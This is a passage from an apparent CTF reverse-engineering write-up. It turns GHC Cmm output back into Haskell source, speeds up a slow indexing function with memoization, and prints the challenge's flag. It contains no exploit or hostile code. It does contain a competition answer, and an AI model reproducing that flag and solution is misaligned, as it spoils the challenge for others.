Sp - 16; call stg_ap_pppp_fast(R5, R4, R3, R2, R1) args: 24, res: 0, upd: 24; } } ``` Again, a lot of code. And again, This is equivalent to: ```haskell forM (s2Rj_closure) (s2Rf_closure) ``` So, invocation of single function with two closures. And again... ```haskell ==================== Cmm produced by new codegen ==================== [section ""data" . sat_s2Rf_closure" { sat_s2Rf_closure: const sat_s2Rf_info; const 0; const 0; const 0; }, sat_s2Rf_entry() // [R1] { info_tbl: [(c3aH, label: sat_s2Rf_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3aH: _s2Rf::P64 = R1; goto c3aC; c3aC: if ((old + 0) - <highSp> < SpLim) goto c3aI; else goto c3aJ; c3aI: R1 = _s2Rf::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3aJ: (_c3aE::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _s2Rf::P64); if (_c3aE::I64 == 0) goto c3aG; else goto c3aF; c3aG: call (I64[_s2Rf::P64])() args: 8, res: 0, upd: 8; c3aF: I64[(old + 24)] = stg_bh_upd_frame_info; I64[(old + 16)] = _c3aE::I64; R3 = Main.flags_closure+2; R2 = Main.idx'_closure+1; R1 = GHC.Base.map_closure; call stg_ap_pp_fast(R3, R2, R1) args: 24, res: 0, upd: 24; } }] ``` Which basically means (closure names by me): ```haskell map (idx_closure) (flags_closure) ``` So again, single function invocation, with closure parameters, and a lot of junk. I'll spare you the details - when you know what to expect (i.e. a LOT of thunks), reversing is quite straightforward (except you need a LOT of, well, *patience*). This is the reversed code, which should be **very** similar to the original: ```haskell module Main where import Data.Bits import Data.Char import Control.Monad import System.IO import Data.Function.Memoize s0 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&'\"()*+,-./:;<=>?@[\\]^_`{|}~" s1 = "1vI{e[8Td]-nQ.7O\"bl(jq@<0Vy&Z3~\\ps,aD^;BN9JUoh|CE2_6!G'rHuf>$S%MxgzKY4`c+WXA5F)mR}#PtL?*=i/:wk" s2 = "Bp}i{XU%f$DR\\0<Lx=o\"Sl`bz)-e62|&JqFT!(C5yh;@u*.WaZ#Qv,?cr8wEm4_t19PH:j]>[NVMn7YGkK'^/~OIdsA+3g" s3 = "_r+#yh[Y)S8aXJwV&jv\"o=I(6>pg,f-M]qbN4'EDKF\\t<3G%|$csPQm}~0@R;uU2z9iWB./HCk!{:Od^ZT7`Anl1e5L*x?" data Index = Index Int Int f :: Int -> [Char] f 0 = s0 f arg = s1 ++ f (subtract 1 arg) ++ s2 ++ f (subtract 1 arg) ++ s3 idx :: Index -> Char idx (Index i j) = (f i !! j) flags = [Index 0 39, Index 5 282, Index 6 16240, Index 9 162889, Index 14 523151, Index 17 5536393, Index 7616 133142712, Index 8799 122076774, Index 8656 370998818, Index 9835 12169334, Index 9023 316222630, Index 9402 20517998, Index 9509 206287754, Index 5656 439741488, Index 9020 254692819, Index 5337 505473338, Index 7860 66985734, Index 5342 343561367, Index 7797 237439774, Index 6145 303374550, Index 5842 469397741, Index 6262 125811292, Index 8861 285489743, Index 9917 203482576, Index 6210 65894981, Index 5807 160395306, Index 6950 411117612, Index 9261 130413308, Index 6224 532384558, Index 5304 107223978, Index 6533 292707045, Index 8303 284494291, Index 9948 119890013, Index 8254 430252526, Index 8249 142828351, Index 8799 452127715, Index 6071 491307991, Index 8803 154654024, Index 9328 181393976, Index 6253 103923077, Index 7886 450071326, Index 7721 342235485, Index 6802 429438438, Index 6391 504612462, Index 5300 23633538, Index 9418 315942207, Index 9873 228342978, Index 6361 510000394, Index 5816 485654100, Index 8533 347840847, Index 9931 517634651, Index 8209 122749414, Index 9873 484029647, Index 9346 273221045] main = do forM_ (map idx flags) $ \i -> do putChar i hFlush stdout ``` Not a lot of code, for huge binary that it produced, eh? The problem is simple - `idx` function is very slow. But we can make it faster. I was too *lazy* to rewrite everything to my usual language of choice (python), so I just implemented faster version of `idx` straight in haskell: ```haskell fsize' :: Int -> Integer fsize' 0 = fromIntegral $ length s0 fsize' i = 2 * fsize (i - 1) + 3 * fsize 0 fsize :: Int -> Integer fsize = memoize fsize' idx' :: Index -> Char idx' (Index i j) = if i == 0 then s0 !! j else if fromIntegral j < fsize0 then s1 !! j else if fromIntegral j < fsize1 then idx' $ Index (i - 1) (j - fromInteger fsize0) else if fromIntegral j < fsize2 then s2 !! (j - fromInteger fsize1) else if fromIntegral j < fsize3 then idx' $ Index (i - 1) (j - fromInteger fsize2) else s3 !! (j - fromInteger fsize3) where fsize0 = fsize 0 fsize1 = fsize0 + fsize (i - 1) fsize2 = fsize1 + fsize0 fsize3 = fsize2 + fsize (i - 1) ``` And that's basically it - after running reversed version, correct flag is produced in seconds: ``` N1CTF{did_cmm_helped?1109ef6af4b2c6fc274ddc16ff8365d1} ``` PS. Yes, it did.
sec-knowleage